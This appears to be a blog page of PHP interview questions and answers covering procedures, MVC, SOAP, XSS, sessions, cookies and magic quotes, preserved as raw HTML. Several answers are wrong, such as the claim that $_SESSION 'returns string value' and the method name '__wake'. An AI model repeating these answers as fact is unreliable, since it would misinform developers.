<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: 20px; text-align: justify;">Understanding </span><span class="Apple-style-span" style="line-height: 20px; text-align: justify;">Database</span><span class="Apple-style-span" style="line-height: 20px; text-align: justify;"> View and using it correctly is crucial.</span></span></div>
<div style="line-height: 18px;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: 19px;">MySQL views are essentially a way to package up SELECT statements into re-usable virtual tables whereby the data can be retrieved simply by referencing the view, rather than having to repeat the associated SELECT statement.</span><span class="Apple-style-span" style="line-height: 20px; text-align: justify;"> </span></span></div>
</div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>25 ) Have you written procedures ? How can you write a procedure in MySQL ?</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans: </b><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Here You Can get more details about procedure</span><br />
<a href="http://www.9lessons.info/2010/07/stored-procedure-lesson.html" style="background-color: white;"><span style="color: #38761d;">http://www.9lessons.info/2010/07/stored-procedure-lesson.html</span></a><br />
<a href="http://forge.mysql.com/wiki/MySQL_Internals_Procedure"><span style="color: #38761d;">http://forge.mysql.com/wiki/MySQL_Internals_Procedure</span></a><br />
<a href="http://stackoverflow.com/questions/2846516/how-to-write-a-stored-procedure-using-phpmyadmin-and-how-to-use-it-through-php"><span style="color: #38761d;">http://stackoverflow.com/questions/2846516/how-to-write-a-stored-procedure-using-phpmyadmin-and-how-to-use-it-through-php</span></a></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>26 ) How can you call a mysql procedure from PHP ?</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans: </b><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Read all links of ans 25.</span></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>27 ) What is MVC ? ( If you are strong in any frameworks , then questions from that can also be hit, don’t make it a miss rate )</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans: </b><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Here U can get details</span><br />
<a href="http://www.jcorporate.com/expresso/doc/edg/edg_WhatIsMVC.html"><span style="color: #38761d;">http://www.jcorporate.com/expresso/doc/edg/edg_WhatIsMVC.html</span></a><br />
<a href="http://whatis.techtarget.com/definition/model-view-controller-MVC"><span style="color: #38761d;">http://whatis.techtarget.com/definition/model-view-controller-MVC</span></a><br />
<a href="http://www.codinghorror.com/blog/2008/05/understanding-model-view-controller.html"><span style="color: #38761d;">http://www.codinghorror.com/blog/2008/05/understanding-model-view-controller.html</span></a></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>28 ) Does PHP has an XML library ? Is it comming as default ?</b></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans: </b><span style="color: #38761d;">Here U can get details. read all w3school PHP XML Links[Total:3].</span></span><br />
<a href="http://www.w3schools.com/php/php_xml_simplexml.asp"><span style="color: #38761d;">http://www.w3schools.com/php/php_xml_simplexml.asp</span></a><br />
<a href="http://www.php.net/manual/en/book.simplexml.php"><span style="color: #38761d;">http://www.php.net/manual/en/book.simplexml.php</span></a></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>29 ) What’s SOAP ?</b></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span style="line-height: 19px;"><i>SOAP</i></span><span class="Apple-style-span" style="line-height: 19px;">, originally defined as </span><span style="line-height: 19px;"><i>Simple Object Access Protocol</i></span><span class="Apple-style-span" style="line-height: 19px;">, is a </span>protocol<span class="Apple-style-span" style="line-height: 19px;"> specification for exchanging structured information in the implementation of </span>Web Services<span class="Apple-style-span" style="line-height: 19px;"> in </span>computer networks<span class="Apple-style-span" style="line-height: 19px;">.</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="color: #38761d; line-height: 19px;"><br /></span></span>
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: 19px;">It relies on </span>Extensible Markup Language<span class="Apple-style-span" style="line-height: 19px;"> (XML) for its message format, and usually relies on other </span>Application Layer<span class="Apple-style-span" style="line-height: 19px;"> protocols, most notably </span>Hypertext Transfer Protocol<span class="Apple-style-span" style="line-height: 19px;">(HTTP) and </span>Simple Mail Transfer Protocol<span class="Apple-style-span" style="line-height: 19px;"> (SMTP), for message negotiation and transmission. SOAP can form the foundation layer of a </span>web services protocol stack<span class="Apple-style-span" style="line-height: 19px;">, providing a basic messaging framework upon which web services can be built.</span></span></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>30 ) What’s is XSS attack ?</b></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><i><span style="line-height: 19px;">Cross-site scripting</span><span class="Apple-style-span" style="line-height: 19px;"> (</span><span style="line-height: 19px;">XSS</span></i><span class="Apple-style-span" style="line-height: 19px;"><i>)<b> </b></i>is a type of </span>computer security<span class="Apple-style-span" style="line-height: 19px;"> </span>vulnerability<span class="Apple-style-span" style="line-height: 19px;"> typically found in </span>Web applications<span class="Apple-style-span" style="line-height: 19px;"> that enables attackers to </span>inject<span class="Apple-style-span" style="line-height: 19px;"> </span>client-side script<span class="Apple-style-span" style="line-height: 19px;"> into </span>Web pages<span class="Apple-style-span" style="line-height: 19px;"> viewed by other users.</span></span><br />
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: 19px;">A cross-site scripting vulnerability may be used by attackers to bypass </span>access controls<span class="Apple-style-span" style="line-height: 19px;"> such as the </span>same origin policy<span class="Apple-style-span" style="line-height: 19px;">.</span></span></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>31 ) What’s the difference between htmlspecialchars and htmlentities ?</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans: </b><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Details Here</span><br />
<a href="http://stackoverflow.com/questions/46483/htmlentities-vs-htmlspecialchars"><span style="color: #38761d;">http://stackoverflow.com/questions/46483/htmlentities-vs-htmlspecialchars</span></a><br />
<a href="http://in.answers.yahoo.com/question/index?qid=20100525200639AAUHgFO"><span style="color: #38761d;">http://in.answers.yahoo.com/question/index?qid=20100525200639AAUHgFO</span></a><br />
<a href="http://www.wallpaperama.com/forums/php-htmlentities-vs-htmlspecialchars-differences-php-functions-t5783.html"><span style="color: #38761d;">http://www.wallpaperama.com/forums/php-htmlentities-vs-htmlspecialchars-differences-php-functions-t5783.html</span></a></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>32 ) What is Session and Cookie ?</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans:</b><span style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;"> <span style="color: #38761d;">If u want this ans then please forget about php.</span></span><br />
<a href="http://www.allaboutcookies.org/cookies/session-cookies-used-for.html/"><span style="color: #38761d;">http://www.allaboutcookies.org/cookies/session-cookies-used-for.html/</span></a><br />
<a href="http://www.tuxradar.com/practicalphp/10/1/0"><span style="color: #38761d;">http://www.tuxradar.com/practicalphp/10/1/0</span></a><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;"><br /></b></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<div style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>33 ) What’s the difference between session_register and $_SESSION ?</b></span></div>
<div style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>Ans:</b></span></div>
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="background-color: white; color: #38761d; line-height: normal;">The very first main and simple difference is that session_register function returns boolean value and $_SESSION returns string value. </span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="background-color: white; color: #38761d; line-height: normal;">The second will be session_register function doesn't work if register_global is disabled. </span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="background-color: white; color: #38761d; line-height: normal;">But whereas $_SESSION works in both case whether register_global is disabled or enabled. So using $_SESSION for session variable manipulation is more appropriate.</span></span><br />
<div style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span></div>
</div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<div style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>34 ) What is magic quotes ? Is it on or off by default in PHP 5 ?</b></span></div>
<div style="background-color: white;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: normal;"><b>Ans:</b></span></span></div>
<div style="background-color: white;">
<span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: normal;">Magic Quotes is a process that automagically escapes incoming data to the </span><acronym style="line-height: normal;" title="PHP: Hypertext Preprocessor">PHP</acronym><span class="Apple-style-span" style="line-height: normal;"> script. </span></span></div>
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="color: #38761d; line-height: normal;"><span class="Apple-style-span" style="background-color: white;">It's preferred to code with magic quotes off and to i</span><span class="Apple-style-span" style="background-color: white;">nstead escape the data at runtime, as needed.</span></span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="background-color: white; color: #38761d; line-height: normal;">Magic Quotes are depreciated and going to be removed in PHP6.</span></span></div>
<div style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><b>35 ) What does __sleep and __wake do ?</b></span><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Ans: </b><span style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px; text-align: left;">Here Details</span><br />
<a href="http://www.sunilb.com/php/php5-oops-tutorial-magic-methods-__sleep-and-__wakeup"><span style="color: #38761d;">http://www.sunilb.com/php/php5-oops-tutorial-magic-methods-__sleep-and-__wakeup</span></a><br />
<a href="http://www.phpinterviewquestion.com/php-questions/what%E2%80%99s-__sleep-and-__wakeup-in-php"><span style="color: #38761d;">http://www.phpinterviewquestion.com/php-questions/what%E2%80%99s-__sleep-and-__wakeup-in-php</span></a><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></b>
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;">36 ) Can you submit a form without a submit button ?</b><br />
<b style="font-family: Arial, Helvetica, sans-serif; line-height: 21px;">Ans:</b></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<div style="line-height: 18px;">
<span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><span class="Apple-style-span" style="line-height: normal;">You can submit a form without a submit button, but it relies on javascript, which is a bad thing. How will you keep your pages working for those without javascript enabled?</span><br style="line-height: normal;" /><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;">Anyway, to submit the first form on your page, you can use something like this:</span></span><br />
<span style="color: #38761d;"><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">on link </span><span class="atn" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">onclick</span><span class="pun" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">=</span><span class="atv" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">"</span><span class="pln" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">document</span><span class="pun" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">.</span><span class="pln" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">forms</span><span class="pun" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">[</span><span class="lit" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">0</span><span class="pun" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">].</span><span class="pln" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">submit</span><span class="pun" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">();</span><span class="atv" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin: 0px; padding: 0px; text-align: left; vertical-align: baseline;">"</span><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></span><span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br style="line-height: normal;" /><span class="Apple-style-span" style="line-height: normal;"><a href="http://draft.blogger.com/blogger.g?blogID=9099073570000665072#">submit</a></span></span></span></div>
<div style="line-height: 18px;">
<b style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></b></div>
<div style="line-height: 18px;">
<b style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><br /></b></div>
<div style="line-height: 18px;">
<b style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">37 ) How can you set a cookie to expire after 30 minutes or so ?</b></div>
<div style="line-height: 18px;">
<b style="background-color: white; font-family: Arial, Helvetica, sans-serif; line-height: 21px;">Ans:</b></div>
</div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
<span class="Apple-style-span" style="line-height: 21px;"><span class="Apple-style-span" style="background-color: white; color: #38761d; font-family: Arial, Helvetica, sans-serif;"><span class="Apple-style-span" style="line-height: 18px;">30 minutes is </span><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 5px; padding-right: 5px; padding-top: 1px; text-align: left; vertical-align: baseline;">30 * 60 * 1000</code><span class="Apple-style-span" style="line-height: 18px; text-align: left;"> miliseconds. Add that to the current date to specify an expiration date 30 minutes in the future.</span></span></span></div>
<div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 15px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;">
</div>
<pre class="default prettyprint" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; text-align: left; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="color: #38761d; font-family: Arial, Helvetica, sans-serif; line-height: 21px;"><code style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="kwd" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">var</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> date </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">=</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="kwd" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">new</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="typ" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">Date</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">();</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
date</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">setTime</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">date</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">getTime</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">()</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">+</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="lit" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">30</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">*</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="lit" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">60</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">*</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="lit" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">1000</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">));</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
$</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">.</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">cookie</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">(</span><span class="str" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">"example"</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="str" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">"foo"</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">,</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">{</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> expires</span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">:</span><span class="pln" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"> date </span><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">});</span></code></span></pre>
<pre class="default prettyprint" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; text-align: left; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="line-height: 21px;"><code style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; color: #38761d; font-family: Arial, Helvetica, sans-serif; margin: 0px; padding: 0px; vertical-align: baseline;">and for session>></span></code></span></pre>
